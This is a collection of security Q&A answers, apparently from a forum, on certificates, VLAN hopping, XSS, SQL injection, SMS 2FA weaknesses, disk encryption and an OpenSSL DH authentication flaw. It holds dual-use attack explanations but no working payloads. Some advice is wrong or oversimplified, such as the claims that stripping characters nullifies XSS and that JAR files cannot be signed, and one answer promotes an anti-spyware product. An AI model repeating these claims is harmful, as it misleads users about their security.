How to protect open ports for Services/Programs needed for network connectivity?

Use a firewall, either inbuilt or purchase a physical one. Really not much explanation needed - also consider using its packet filtering capabilities to ensure that only legitimate data is being passed through.


How does a CA add www and raw domain names to my cert when my CSR doesn't have them?

The CA puts exactly what it wishes to put in the certificate it issues. The certificate request that you send poses no constraint whatsoever on the CA. The certificate request is just a vessel for your public key and, possibly, additional information that you might like to find in the resulting certificate, such as a specific server name. The CA is free, both technically and legally, to disregard or alter such information as it sees fit.


Maybe you can find libraries that could help to detect harmful files. But I'm afraid that you will have to choose between being strict and having false positive, or loose with the risk of occasionaly letting malware pass.

My advice here would be to rely on traceability. You control (as much as possible) the uploaded files, but for each one keep the name or id of the user that uploaded it. And you advertise largely on that. If later a problem occur, you will be able to identify who is guilty for it. Of course it only makes sense if you know all your users. But I cannot imagine a way to secure a site accepting dynamic content for uncontrolled users ...


No, your query expects an integer and is guaranteed to get one. An SQL injection vulnerability only emerges when an attacker can supply unexpected data that would alter the query. Different integers don't influence the syntax. But as soon as you stop enforcing the type it becomes unsafe.

As @CodesInChaos remarked, if you are the author of this snippet you should consider using parametrized queries instead. That way the supplied type becomes irrelevant which is easier to audit and harder to break by accident.


Why double tagging attack in VLAN is unidirectional (one way)?

Assuming you read the article and understand how the attack works.

1) VLANs break up broadcast domains. So with default settings, hosts on two separate vlans such as vlan 1 and vlan 10 are not going to be able to communicate with each other unless a Layer 3 device gets involved. This is the reason the double tagging is needed, so it can HOP vlans and access a vlan it's not suppose to. When the target/victim tries to respond, they are not going to be able to "hop" back over to attackers vlan because when the victim responds it will just be a normal frame instead of a malformed frame like the attacker originally built.

Note: Trunk ports are members of all VLANs by default. Frames destined for the Native VLAN do not get retagged. This is what allowed the hidden vlan tag to get across and why the Native VLAN is a requirement of this attack. Since the target/victim is probably not going to reside on the Native VLAN, it won't be able to have this kind of communication which is what makes it uni-directional

2) With this attack, you can't. As an attacker you can malform that frame for VLAN-hopping but you can't cause the target/victim to send out malformed double-tagged frames. When the target/victim receives the frame, it is just going to look like a normal frame because the other headers were stripped by the previous switches.


Categorizing a data leak which is intentionally / by carelessness / by design

If you are in an European Union country, you can just say it's a GDPR violation (even if they officially come into effect in 25th May).

GDPR rules are widely talked about now and are exactly about preventing this sort of problems.

Data leaks can be generally arranged into 4 large categories:

Hacking (unauthorized access )
Losses/steals (loss of data, documentation - example: stolen notebook with company data)
Inadvertent (accidental data leak)
Wrongdoing (employee error)

Your case would fit better into accidental data leak category, although it's a combination of that and wrongdoing (the configuration of the system permits for the data extraction to occur under certain circumstances).

Note: It's not CWE-213 unless you can prove it was an intentional setup. CWE-201 may be more appropriate.


The chain is not verified "by itself". A given system (say, a Web browser) will consider a server's certificate as valid because it could build a valid chain (with all signatures corrects and matching names and all the rules of X.509) which ends with the certificate to validate (the server's certificate), and starting with a root CA that the client already has.

Signatures don't create trust, they transport trust. It still has to start somewhere. Each client (either in the browser or in the OS itself) comes with a list of "trusted CA": these are the public keys and names of some entities which are deemed "trustworthy" (you did not choose them yourself; Microsoft did that for you; but, anyway, as long as you use Microsoft's software you are trusting Microsoft for not playing nasty games on you). The root CA are "trustworthy" if you trust them for not issuing certificates with fake information: when a CA issues (sign) a certificate for some entity E, it is supposed to make sure that the public key that the CA puts in that certificate, along with E's name, is really owned by E. Similarly, when a root CA delegates its power to another CA (then called intermediate CA or sub CA), it makes sure (through audits and binding contracts) that the sub CA is indeed trustworthy, in that it will apply the same rules.

That's the concept of a Public Key Infrastructure: as a client, you know a priori a handful of public keys owned by trusted CA, and you implicitly trust everything that these CA signs. The certificates assume a tree-like structure, with the root CA as, well, the tree root (hence the name), and the end-entity (SSL servers) certificates as leaves. A certificate chain is really a path from the root to a given leaf.

If a root or intermediate CA becomes untrustworthy, for instance because it was hacked and issued a fake certificate (a wrong association between name and public key), then the recovery entails severing the bad branch, a process known as revocation. In practice this does not occur often for big commercial CA (the ones that are trusted by default in Windows or Firefox); say about once a year. E.g. that one occurred a few days ago, and both revocation and a fail-safe patch from Microsoft block any attempted usage of the rogue certificate. In practice, normal attackers (say, for phishing purposes) don't bother obtaining "valid" certificates for their fake servers.


Perform XSS on a link where image path is passed in querystring

XSS isn't just about making alert boxes appear and redirecting to other pages, there are other things it can do. ;)

What are you doing with the input that the user specifies? Does this get stored in a database, or is it used to retrieve images?

The input that you are taking in, does it get redisplayed anywhere on your site? If so there could be a persistent XSS issue, as you have stored the input that an untrusted user has given to you.

Best answer is to make sure you strip any special characters from that field before using it elsewhere in your application, as this nullifies the XSS risk.


First things first:

If the app is prone to a mitm via wifi, changing the communication media will not solve the problem. If communication channel was the only change made, i can promptly state that yes, your app is still vulnerable to mitm attacks, the only thing the attacker needs is to have access to the carrier's network (and judging by the way they choose their passwords, i wouldn't say that it would be THAT hard to accomplish to a sufficiently motivated individual...).

One of the ways you can protect the smartphone app is to implement Certificate Pinning. OWASP has a very extensive page about the subject and a more mobile-oriented cheat sheet on the topic.

So, you should not focus your efforts on where your data flows through, because the vulnerability does not depend on that.

Also keep in mind that certificate pinning is not a panacea, as it will not protect you from mitm attacks that target the mobile phone, but it is effective against network-based mitm attacks.

EDIT:

If we forget about proxy interception for a minute, we will talk about pure SSL decryption and it depends on the possible SSL attacks that apply to the established tunnel. You should check the TLS version (SSL should be forbidden) and the supported ciphers. There are LOTS of attacks that target SSL packets for tunnel decryption. Oneof them was discovered a few months from now, the security market became aware of POODLE not only in SSL, but in TLS also. Researchers even found it to be able to exploit TLS v1.2, depending on the ciphers used to establish the encrypted tunnel.

If you are worried about insider threats, a critical concern is the clear text storage of sensitive information. From shared preference files to open sqlite databases, this is one the top mobile vulnerabilities nowadays. Also keep in mind that source code can be trivially reversed, depending on the platform (Android, for example).


Sniffing and recording the signal is certainly doable, since that's what both cell phones and base stations do all day long.

Now the tricky point is that communications are encrypted, and decrypting the data from the outside can prove tricky. "3G" is a wide term, but (normally) 3G communications use the block cipher KASUMI. The best known cryptanalytic attack on KASUMI is a related-key attack which is something quite important for academics (especially since the attack can be demonstrated with two hours of computation on a PC), but by essence not applicable to the way KASUMI is used in 3G computation (it might be applicable if someone wanted to use KASUMI as a building block in a hash function, but that's really another subject).

So we can say that right now (early 2012), there is no known way to effectively break KASUMI encryption, provided that the block cipher is used properly.

The GSM protocols are complex beasts and it is possible that some weaknesses lurk in there, which might allow for security breaches without having to fight KASUMI upfront. I am not aware of any serious weakness of that nature (but absence of proof is not proof of absence). Also, be aware that all this crypto is only between the phone and the base station. The base station will then communicate the data to the provider network using whatever crypto, or lack thereof, that it wishes. If I wanted to tap on GSM 3G signals, I would do a bit of roof climbing and plug myself directly on the base station.


Would MITM be able to manipulate the X-Frame-Option

Over HTTP a MITM could manipulate any request header.

Over HTTPS a MITM would NOT be able to do that without having a valid certificate or generating a certificate warning in Bob's browser.

www.safewebsite.com could mitigate some parts of this attack by using HSTS which would tell Bob's browser to only visit over SSL after the initial connection.  The site could also refuse POST requests over HTTP (but that wouldn't stop Bob's browser from sending them).


Why Google and smartphone manufacturers don't care about updates?

Whilst I don't believe that there's a definitive confirmation that this is the situation, I'd suggest that the problem with android likely comes down to a conflict of interests between the carrier, handset manufacturer and OS manufacturer.

It's in Googles interests that handsets are upgraded regularly, as it improves peoples perception of the OS and makes app. developers lifes easier (less fragmentation makes easier testing).

However from the handset and carrier perspective, updates are costly.  it costs a lot of money to test these updates and push them out so there's a disincentive there for them to do it. Also to an extent they'd rather you buy a new handset instead of getting the features from a free upgrade. That's why in general I think that android updates don't happen for older handsets, or are slow to happen.

Apple have always had a tight control on the whole process so have pushed for the updates to go out reguarly...


What kind of certificate to be used to consume web services?

A self signed certificate of sufficient key size (2048 bit) would be fine. You wouldn't need a CA signed certificate as the client can add the certificate to their credential store. Use OpenSSL for the purpose.


BYOD - Looking for Secure means of Wiping Data Remotely

Not unless they join your domain and GP is enforced. Though you can't really enforce this. So people which are not on the domain you'll have no control of. I don't know of any software which does though.
If they are on the domain, you'll need FULL permissions to your company data and you'll have to know every known hash of your company data. If they modify it then your hash will change, theoretically you can use byte signatures to get a x% match then delete it. Though if it's encrypted or compressed your byte signature is going to be screwed.
Malware is constantly been developed so you can't rely on AVs and so on ensuring the PC is completely virus-free. For example: If I wrote some obfuscated malware right now and did a wwww.virustotal.com it would be clean as it's not known and won't match byte signatures yet. Many AVs vendors have a server/client AV which when detects a malware on client informs the server running the AV.
Yeah, check out WMI QFE


Is android's FDE secure from offline attacks?

The important thing to keep in mind is that the actual encryption keys for the volume are stored in the Trusted Execution Environment (TEE) chip, which is designed to provide secure key storage. The goal of the device is to act as an encryption oracle: you give it some data, it encrypts or decrypts it, then gives you the result. This means that if you take the flash chip out and try to read it directly, you'll just get encrypted data.

By default, there's no direct authentication from the user to the TEE that protects against an attacker just asking to have the data decrypted. This is where adding a PIN or passphrase to your phone helps - it acts as an authentication mechanism to the TEE to ensure that you can't just ask to have data decrypted without "proving" who you are.

The key phrase around rate limiting is this:

  The resultant signature is then turned into an appropriate length key by one more application of scrypt.

The scrypt KDF is designed to be slow and sufficiently memory-hard to make it difficult to parallelise on common compute platforms (e.g. CUDA). Also notice that they said "one more application of scrypt"; the DEK is already transformed via scrypt, hence it is made infeasible to try to "crack" the DEK by deriving it repeatedly against candidate passwords.


How do I wipe a disk that DBAN can't read?

At a stage where the OS cannot do even raw read/writes to the disk you have usually lost as a normal user. Further access is probably only possible by using special functions in the firmware which only the vendors knows, using a special firmware or getting physical access to the chips, depending on the cause of the problem.

None of these are available to the average user and use of these methods would cause loss of warranty anyway. Your only options at this stage are either to trust the manufacturer or to shred the disk and abandon warranty. Keep in mind that you already trusted the manufacturer in the first place by buying a disk in the hope that the firmware does not contain any backdoor.


Why did I never see those "spy signal jammers" for sale?

Hollywood did, and does, a lot of things divorced from reality.

There was a lot of mostly smoke involving Tempest and Van Eck stuff back in the day. However, it was primarily dependent upon the use of an old CRT in text mode only. Even then, it only worked under nearly pristine laboratory conditions and at short range.

If you find yourself working on an old green screen in text only and see a truck with an eight foot antenna parked outside your window, just turn on your handy Tesla Coil and go about your business.


Does ciphersuite ECDH / ECDHE need hardware acceleration

You do not "decrypt the private key", you "use the private key for decryption".

ECDH is not an asymmetric encryption algorithm but a key exchange algorithm. Key exchange algorithms are like asymmetric encryption algorithms in which you do not get to choose the message which is encrypted -- but that's just as fine when you just want to establish a shared secret value, to be used for symmetric encryption, as is the case in SSL/TLS.

In ECDH, each involved party will compute two equivalent operations, which, on elliptic curves is the multiplication of a curve point by an integer. A simple PC, using a single core, has enough computing power to do that more than ten thousand times per second with the standard P-256 curve (which is as robust as you can hope for). This hardly mandates the use of an hardware accelerator: in HTTPS, such an operation will occur only once per client, when the client opens its first connection. Each connection will be used for several HTTP request, and extra connection will use the "abbreviated handshake" which use symmetric cryptography only.

You might want to do the ECDH and similar operations in some specific hardware, not for performance, but for security: private keys are sensitive objects, they are best kept in tamper resistant devices which will protect them from theft, even against local attackers. Such devices are known as Hardware Security Modules. When a HSM is used, the private key never leaves the HSM, and the HSM does the cryptographic operation. Some HSM support elliptic curves, e.g. recent Thales' nShield HSM.


NIST follows trends and recently has added new (beta) JSON feeds with CVSSv3


How long does it take to have spyware installed on a laptop?

Checking the screws and other physical marks of being opened might indicate if hardware was installed.

If you had a strong enough password, they likely were not able to "install something" in 25 minutes.

"Evil Maid" attacks have been mentioned, but, while possible, are not so probable given modern firmware. It depends on your laptop (and how old it is). That can happen in a few minutes.

Your peripherals are another matter, though, and if they had those (including the power supply), I might be more worried about those.

And yet, they would not have had to install anything or monkey around with your equipment at all to now be able to spy on you.

With your laptop, no extra equipment, and 25 minutes to leisurely do their thing, they can get your laptop's:

make, model, serial number
operating system
wifi MAC address
"auto-connect" wifi networks you use
[possible - there are a bunch of dependencies to be able to do this] services/websites you use and browser fingerprint (if you only locked the machine instead of power it down and the browser was active in the background)

and connect all those things with whatever is on your national identity papers. Now, they can spy on you just by tracking your laptop, wifi, and internet activity over the core country network and/or wifi trackers.

No installs needed.


You might want to check the CWE (Common Weakness Enumeration) catalog for this type of research: http://cwe.mitre.org/index.html

The closest entry is probably CWE-633: CWE-633: Weaknesses that Affect Memory

I really like the CWE when it comes to categorize bugs (also check the "Relationships" for each entry). Each entry comes with an explanation and possible CVEs.

The CAPEC might also be interesting: (capec.mitre.org/index.html)

Note that integer coercion (CWE-192) or integer overflow (CWE-190) might just lead to bad calculation but not necessarily to a memory problem (see CWE-680).


Can a virus on the host affect the VM guest

If the host machine has a damaged hosts file, any traffic going from the guest VM, through the host, will encounter this damaged hosts file before it accesses the internet. EVEN IF the guest is using a USB wifi adapter, it will still have to interact with the hosts host file.


Security implications of Suprocess executing with a active shell vs no shell

The major difference is the way you construct your commands:

subprocess.Popen("ls -l /tmp", shell=True)

vs

subprocess.Popen(['ls', '-l','/tmp'])

The first example is one string and works with shell set to true, the second example is without. This requires each part of the command to be passed as  a seperate item in the array. The danger is when you accept part of the command as input from an untrusted source.

For instance if you would accept part of the command from a user, in the first example he can literally type any command he wants, whereas in the latter example he can only define on parameter or destination. Adding more commands will not be possible as subprocess will fail (providing you do not construct the array based on the user input, but just accept one argument for a specific position).


IP packets do not contain a ASN value. So what this firewall does, is actually lookup which IP ranges are linked to a specific ASN, and then build firewall rules based on these IP ranges.

If this can be spoofed all depends on which resources the firewall uses to lookup the IP ranges. You didn't mention the brand (and I'm not familiair with any firewall doing ASN based filtering), but the answer to your question really depends on the way it's implemented. Some public registries are less strict in which data can be entered than others, so if one of these less strict ones is used by the firewall it may be possible to make the firewall think a specific IP range is associated with a specific ASN.

Another thing to keep in mind is that sometimes IP ranges get transferred from one ASN to another, especially since there's a shortage of IPv4 addresses nowadays. If old database entries which link the IP and ASN are not removed after a transfer, your firewall could be allowing IP addresses which are not linked to the ASN you allowed anymore.


The expiration date for a certificate should be set to the date at which you would like the certificate owner to come back for a renewal. This is a matter of trade-offs:

Each renewal operation entails some action from some human somewhere, so it has a cost which can be non-negligible.
Commercial CA use a business model which entails selling certificates, and frequent renewals mean more income.
Expiration of certificates allows you to remove the corresponding entries from CRL (Certificate Revocation Lists) so you do not want to make certificates live really long.
Some jurisdictions mandate specific validity ranges for reasons which are often obscure and sometimes wholly irrational. But the Law is the Law.
You do not want to make certificates whose life extends beyond the date at which you estimate that the public key might become crackable due to technological advances.

There are various "estimates" for "key strength" depending on its length, and these sometimes come with recommendation of key lifetime. This kind of job if 10% science, 90% "educated guesswork", which is a kind of divination. See this site for a lot of data. In particular, NIST says that a 2048-bit RSA key ought to be fine until at least year 2030. But the difference between a "maybe crackable key" and a "maybe not crackable key" is very fuzzy, so don't expect hard data here.

In practice, key strength far exceeds actual certificate lifetimes. Typical lifetimes for end-entity certificates range from one to three years; make that five to ten years for intermediate CA. For a root CA, make it expire in 2037 (i.e. as far as possible in the future but without crossing the fateful Y2038 problem).


Spam email sign ups from HeadlessChrome?

Yes, it is spam.

I really doubt you have legitimate customers that subscribe to random forms using headless chrome.

No, it is not enough to block the user agent at nginx level. It would be trivial for an attacker to change the user agent, and even more so with your implementation to see you have blocked them.

At least, had you filtered it at the PHP file, you could tag them as malicious without hinting them. Anyway, just filtering the obvious cases doesn't mean you aren't receiving less-obvious ones as well.

An approach that can help to detect those is to build a database of blacklisted emails/ip addresses based on those known features. I suspect all of them to be spam, though.

The complete solution is that you should place a captcha system to avoid automatic sign-ups. And even then, to send before enrolling them in your mailing list.

There are two common reasons for doing this:

First is that they expect their spam reaches to you.
Second one is to provide the email address of a target they want to flood.

You need to provide a confirmation link before subscribing them in order to ensure the owner of the email address does want to receive your notifications.
You need a captcha in order to avoid flooding such targets with confirmation emails.

Please note that by not taking proper precautions, your form will be abused, and you will be penalized for that (your sending IP address, your domain more often ending up in spam, perhaps even your ISP getting complaints of your spam).


One-way function for data synchronisation

personally I would just use SSH with public/private keys for a job like this. that employs an mechanism to not send over any identifying features (excluding hostname and possibly username, not sure on that) and is easy to setup, and easy to use.

any of the SHA algorithms would fit the bill, its 'better' to not send over the salt with the data (separated channel would be sufficient)  and as for 1 or more salts, that depends on how secret much your information be kept.


Why browser hijacker changes the homepage to yahoo

Yahoo redirect virus can also be added to "browser hijacker" and a "potentially unwanted program" categories. Programs that belong to this group are spread using three different techniques:

Traditional installation method. You can install Yahoo redirect malware or similar browser hijacker with a help of typical installation technique, which requires going to the official program's website, selecting the program and downloading it to the system. This is a clear example how attentive and careful you have to be while browsing on the Internet and looking for the software that you need.

Bundling Yahoo redirect problem can also start interrupting you out of nowhere. In this case, you should know that you were tricked into installing a browser hijacker on your computer in a bundle with other software. Programs that are most frequently involved in the distribution of browser hijackers are various download managers, PDF creators, video streaming software, video recording software and similar free applications.

Malvertising There are lots of illegal and legitimate websites that were affected by malvertising. This term means that they were filled with the malicious code that causes the appearance of misleading pop-up ads on these websites. Typically, they offer downloading "needed" updates or promote surveys and contests.

The easiest way to avoid infiltration of the browser hijacker and protect yourself from Yahoo redirecting problem is to install a reliable anti-spyware. If you need a tool that could warn you about the possible infiltration of potentially unwanted programs and viruses, you should choose spyhunter

This virus is similar to Google Redirect virus wiki and Bing Redirect virus . As soon as any of these threats gets inside the system, it causes changes on each of web browsers. Settings that are mostly altered by Yahoo redirect virus are the homepage, the default search engine, the new tab page and the bookmark list. In most of the cases, hijackers are capable of altering these settings without being noticed, so you can notice Yahoo redirects at the worst time. Also, this threat starts generating income for its developers by causing altered search results on people's search engines and redirecting them to predetermined websites. Here, we should warn you that after clicking on such ads you can be redirected to a truly malicious website that is used for spreading serious malware.


Panopticlick is looking for things that make you different to other visitors. In this case, fewer people use canvas blockers than don't, so you become more unique if you use one. However, this only means that it is easier to tell you apart from another user - not that they can tell who you are.

Think of it being like a security camera which can only see heights of people passing by (maybe shadows). Can say "tall person went past", but not "Celeritas, who is tall, went past". The Panopticlick increase means that they can suggest with greater confidence that this specific person visited - you've put a box on your head, so now the security camera can see a square shadow. You're the only square shadow, so someone looking at it can say "aha, the tall person with the square head went past" - they are a lot less common than just tall people!

As a result, in order to minimise this kind of tracking, you should try to blend in - no canvas blocking, default settings on your browser, no unusual fonts installed on your computer, always running in a common resolution.

This isn't the same as preventing specific tracking - it only works if no-one is specifically looking for your traces. If you're the only person in a region who visits a specific site, they can fingerprint you easily, even if you blend in perfectly with other visitors by more easily controllable factors. Essentially, it comes down to what you want privacy from:

Ad networks: block their cookies and adverts, never click on any unblocked adverts, avoid Google
People you share an office or computer with: incognito mode. It makes you more unique, but protects against local investigation to some extent
Law enforcement: anonymous VPNs, TOR. Both increase your uniqueness, but reduce the ease of tracking a specific request


How can I secure a REST service intended to be used by my customers' customers via their public website?

The Referer field is easily spoofable, as it's a client-side variable. Don't rely on it for anything serious, like access control.

To control the domains allowed to use your API, you must ask them to proxy every access to your service, and use authentication on your side. This way when their customers access their site, the request will pass through their servers, a script there add the authentication details, and send to your server.

The client will never see the credentials, and you can ban or throttle the keys you suspect are misusing the service.


PDF file encrypted with my password, does that mean my password is stored in plaintext?

Whether this encryption implies the creator of the PDF has access to the plaintext password?

In my opinion, the answer to your question is: They are storing your password in a recoverable format.

I'm assuming this is the scenario (because you were not clear about it): You have account on a website. You are generating a PDF document using the application. This document can be opened (Note: Password to open and not password to edit/copy/print) with the password of your account on the website. Is this correct?

Encrypting a PDF is done usually using RC4 or AES, a symmetric algorithm. Which means a key is generated which is used to encrypt and decrypt your PDF document.

Now this key has to be generated using your password and that key is used to encrypt the PDF. Only them would you be able to input your password and decrypt it.

Hope this answers your core question as to whether your application's password is being stored in a recoverable format.

Edit: Please refer the following additional documents:

PDF Reference for PDF-1.4 - Page 71 onwards
PDF Security
The undocumented algorithm

From these three links, this is what I've gathered:

PDF-1.4 uses RC4-128 bit keys for encryption.
Adobe's reference manual says that the algorithm used for generation of the key is undocumented.
The encryption key uses the user password (password to open), owner password (password to edit) and the permissions to generate the password.

Additionally from the information you have given, I do not think that the key is initially created and stored. Most applications use a plugin module to create PDFs which would generate the keys and encrypt on the go.

Thus, I think your password is stored in a recoverable format.


What can someone do with (non-admin) command prompt on a network?

There's nothing you can do with cmd that you can't do with any other program, except run cmd. This will actually break some malware that specifically tries to invoke cmd without having fallbacks to other shells, but it will also break some legit software that uses functions such as system or otherwise spawns cmd processes. In general, cmd isn't a well-favored target for attack payloads - its scripting language is weak and a hassle to code for, and the much more capable powershell can now be expected on basically all Windows installs - but it is still the default shell and therefore some stuff will use it by default. If the attacker already has the ability to run arbitrary code other than cmd, the presence or absence ability to run cmd itself is mostly irrelevant.

If most software is blocked (even stuff that doesn't need admin) - that is, if software is whitelisted rather than blacklisted - then cmd might make a difference. It facilitates some moderately tricky things like creating symlinks, hardlinks, and junctions (via its mklink built-in), and its scripting language, awful though it is, is better than nothing in the case that powershell, WSH (cscript or wscript), and so on are blocked and so is running arbitrary downloaded, compiled, or remote executables. An attack that wanted to do something like that might fail if the system was sufficiently locked down. However, most of what cmd can do is somewhat redundant (and it can't actually do much). Since some other software (such as explorer, the Windows graphical shell) would presumably still be available, most basic shell operations (navigating the file system, copying/moving/deleting files, launching programs, setting file metadata, accessing environment variables, etc.) would probably be available without cmd, and similarly things like editing files would presumably be available through notepad or some other editor. Running command-line programs (such as reg, the command-line registry utility) doesn't require cmd; they can be invoked (with arbitrary arguments) from within explorer.


A confidential client can keep/protect secrets, whereas a non-confidential client cannot.

Because non-confidential clients cannot keep secrets, the OAuth 2 specification does not allow Refresh tokens, or any kind of confidential information to be shared with such clients. This also means non-confidential clients cannot be trusted with secret or private keys.

Without such keys a client cannot authenticate itself (i.e. securely identify itself with a given client_id) with the authorization server.

Even though a non-confidential client is assigned a client_id, anyone can masquerade as that client_id. As such the authorization server deliberately limits the kind of information it will share with a non-confidential client.


Security software to shutdown PC unless specific approach?

Cloning an FDE disk yields another FDE disk. It'll be encrypted so, not much in the way of worries there.

The scenario where a copy of all the unencrypted data from an FDE disk is pilfered (is probably what you are actually wanting to know about) must take place through the operating system or with the decryption key.

Operating systems are generally secure, but they are not perfect. However, a locked operating system that is not being used by an authorized user tends to be very difficult to break.

There are some potential weaknesses with FDE and TPM, in terms of vulnerability to cold boot attacks, etc. where an attacker with unhampered physical access could attempt to steal the decryption key.

So here's some advice:

1) Truly make it more difficult for an attacker to gain unhampered physical access:
A) remove, block, and secure (epoxy) all data ports, make sure no new device can be introduced.
B) remove all CD drives, floppy drives, etc.
C) physically secure the computer in a locking security cabinet and lock the chassis.
D) ensure the wires to peripherals cannot be accessed, otherwise someone can just cut the wire and connect the leads to their own usb device.
E) hire people with firearms that will defend your stuff.

2) Secure the computer's configuration:
A) secure the bios with a password.
B) do not allow boot from any device other than the primary hard drive.
C) understand the difference between pre-boot authorization and transparent operation mode for your FDE implementation and make sure you pick the one that leaves you less vulnerable to having your decryption key hijacked. some people like the security of keeping the decryption key separate from the computer. others want it to stay on(in) the computer (via TPM chip) so it doesn't have potential external exposure.

Finally, there is a fundamental flaw in your thinking about getting to the 'shutdown' to protect your FDE system. RAM may be volatile but it's not as volatile as you might think. The decryption key for your drives, using a cryogenic technique on your RAM, can be potentially recovered for hours after a system shutdown. Aside from the recommendations above, you could look into acquiring a computer that implements memory scrambling to help defeat cold boot attacks (apparently, some of the Intel processors have this as a feature).


Receiving a response that is PGP encrypted

It should have been encrypted using your public key, so simply decrypt with your private key.


How to tell when a masquerade attack is occurring?

Responding to an attack like this is a multi-step process. You need to:

Prevent
Detect
Respond and purge

Let's start with the prevent stage.
An attacker can masquerade as another user in a multitude of ways: Physical, over the Internet or even over a phone call. In each of these cases, your attack mitigation strategies will be different:

Mitigating attacks over the internet:

General checks - ensure that an attacker provides some sort of two factor authentication. The simplest example of this is a code that is displayed to a logged in user (a 'support pin') that is required to allow access to an account.
Aggressively use OTPs. Customer wants a change made to an account? OTP. Lost their phone? Ensure that they answer security questions.
Train your employees to be harsh. Sacrifice some customer happiness for security if necessary (don't overdo this.) Example - Customer calls up, sounds flustered and has conveniently lost their phone. Be brutal - don't be nice and fix things for your customer as a one time favor. Instead ask them for another form of verification (although note that a well-prepared attacker will have enough information to answer most security questions.)

Mitigating attacks over phone calls:

Use the same checks as above, plus:

Use email verification for identity checks.

Mitigating Physical threats:

Check for ID badges at every door/compartment.
Train your employees not to allow tailgaters or flash someone in because they forgot their badges.
Use a normal practice of treating every person as a threat until they've proven otherwise.

Now we come to the second part of this answer: The trick to detecting an attacker is to make their lives as hard as possible - employee training. train them to distrust any person and guard their information very carefully. Use security checks (like support codes). If someone fails to pass a security check, immediately escalate the issue. Don't help a customer just because they claim to have lost their identification proof(s). These little checks and their results are your detection mechanism. Someone fails them? Set alarms off.

This answer is very broad for a couple of reasons - your question is rather vague. I just detailed the basic process in this answer, but you'll have to port it to whatever you're trying to protect. Good luck!


What is the risk of installing Facebook Video Calling jar file?

First of all, a JAR file is a Java Runtime file, it runs a java-based program.

What is common with OSX is that it checks the author fingerprint, and would give warnings if the Application or file isn't "trusted", which can mean its not gained through the Appstore, or is not signed (applications can be signed by an author).

JAR Files if I'm right, cannot be signed, thats why OSX gives an error.

Is it safe to install? if it's the official download from Facebook itself, it is, since they don't have school dropouts working on their security, you can safely assume the application is safe, as long as you do regular updates of course.

If you downloaded the JAR from any other site then Facebook, then i wouldn't really recommend it.

Any alternative for video/voice calling is Skype, or the Skype web app on Outlook.


SMS Verification Code vs. Response Message

Great question! I'll attempt to break down the security models.

  Is there anything inherently more secure about having users enter a 4/8 digit code online vs. sending a code or simple message from their device?

While SMS as a whole makes for a weak 2FA method (see the article above from The Verge), at least the former requires the attacker to do some hacking on the global telecom network. The latter is trivially broken by anyone who know about the online services for sending an SMS with any from: number.

SMS is a weak a 2FA method

Let's start by saying that SMS is not a secure way to deliver sensitive information. This article from The Verge seems to line up pretty well with my understanding:

  By exploiting known flaws in the cell network, the group was able to intercept all text messages sent to the number for a set period of time. That was enough to reset the password to the Gmail account and then take control of the Coinbase wallet. All the group needed was the name, surname and phone number of the targeted Bitcoin user.

  Positive Technologies was able to hijack the text messages using its own research tool, which exploits weaknesses in the cellular network to intercept text messages in transit. Known as the SS7 network, that network is shared by every telecom to manage calls and texts between phone numbers. There are a number of known SS7 vulnerabilities, and while access to the SS7 network is theoretically restricted to telecom companies, hijacking services are frequently available on criminal marketplaces.

Source: The Verge.

So, with the understanding that we are comparing the security of two variants of a very insecure system, let's proceed.

Security Model for entering the verification code in the web UI

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Read the SMS code sent to your mobile number.
Enter that number into the onboarding flow.

Pulling off this attack requires the ability to read your SMS messages in real time, which as The Verge points out above, is easily doable.

Replying to the SMS with "hello"

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Receive an SMS from the server.
Reply to the server's SMS number with the word "hello".

At first glance, this looks like the same security model as above: "if the attacker has SS7 hacks and can read your SMSes, then they can reply to them also".

But in fact this model is much weaker; there is actually no coupling between steps 2 and 3. There are a million websites that let you send an SMS and set whatever from: number you want, so as long as the attacker knows the server's SMS number, they can spoof the "hello" from your number even if they have no ability to read your incoming SMSes.

Replying to the SMS with a code

Security model: for an attacker to spoof ownership of your phone number, they would need to:

Initiate the website's onboarding flow, providing your information.
Receive an SMS from the server containing a code.
Reply to the server's SMS number with this code.

Alright, we've fixed the coupling problem and required the attacker to be able to read your incoming SMSes. As noted above, sending messages that appear to be from you is trivial, so I think this security model is equivalent to that traditional one of "type the SMS code into the website".

You will however run into usability problems in that correctly typing a code into your phone keyboard is significantly more annoying than typing it into your computer, so I'm not sure you gain anything here.

Summary (same as above)

  Is there anything inherently more secure about having users enter a 4/8 digit code online vs. sending a code or simple message from their device?

While SMS as a whole makes for a weak 2FA method (see the article above from The Verge), at least the former requires the attacker to do some hacking on the global telecom network. The latter is trivially broken by anyone who know about the online services for sending an SMS with any from: number.


In the end, the following hypothesis from my question above proved to be true:

  I can see how a bug in OpenSSL could allow an attacker to bypass
  authentication, for example if OpenSSL would accept DH parameters in
  the Client Key Exchange message, i.e. if OpenSSL did not properly
  enforce this part of RFC 5246, section 7.4.7

This code comes from the ssl3_get_client_key_exchange() function in OpenSSL:

https://github.com/openssl/openssl/blob/474e469bbd056aebcf7e7d3207ef820f2faed4ce/ssl/s3_srvr.c#L2325

if (n == 0L) {
  /* Get pubkey from cert */
  EVP_PKEY *clkey = X509_get_pubkey(s->session->peer);
  if (clkey) {
    if (EVP_PKEY_cmp_parameters(clkey, skey) == 1)
      dh_clnt = EVP_PKEY_get1_DH(clkey);
  }
  if (dh_clnt == NULL) {
    al = SSL_AD_HANDSHAKE_FAILURE;
    SSLerr(SSL_F_SSL3_GET_CLIENT_KEY_EXCHANGE,
    SSL_R_MISSING_TMP_DH_KEY);
    goto f_err;
  }
  EVP_PKEY_free(clkey);
  pub = dh_clnt->pub_key;
} else
  pub = BN_bin2bn(p, i, NULL);
if (pub == NULL) {
  SSLerr(SSL_F_SSL3_GET_CLIENT_KEY_EXCHANGE, SSL_R_BN_LIB);
  goto err;
}

The above code does not prevent the client (or a MITM) to provide at the same time a DH certificate and DH parameters in the Client Key Exchange message. When the message is not empty, the public key is read from the message:

} else
  pub = BN_bin2bn(p, i, NULL);

Thus an attacker could provide a certificate and perform the DH key exchange using another public key than the one in the certificate!

For some reason, the OpenSSL developers choose not to require an empty Client Key Exchange message when the client provides a DH cert. (Even though this is required by the RFC.)

The reason why the fix from the OpenSSL team does not break client authentication with DH certs is the ssl3_get_cert_verify() function is not called if ssl3_get_client_key_exchange() read the key from the certificate. The logic is somewhat convoluted but... well, it works!


HTTPS is more than security enough to send and receive information, don't start implementing your own security as HTTPS will take care of it for you. It provides:

Confidentiality
Integrity
Authenticity

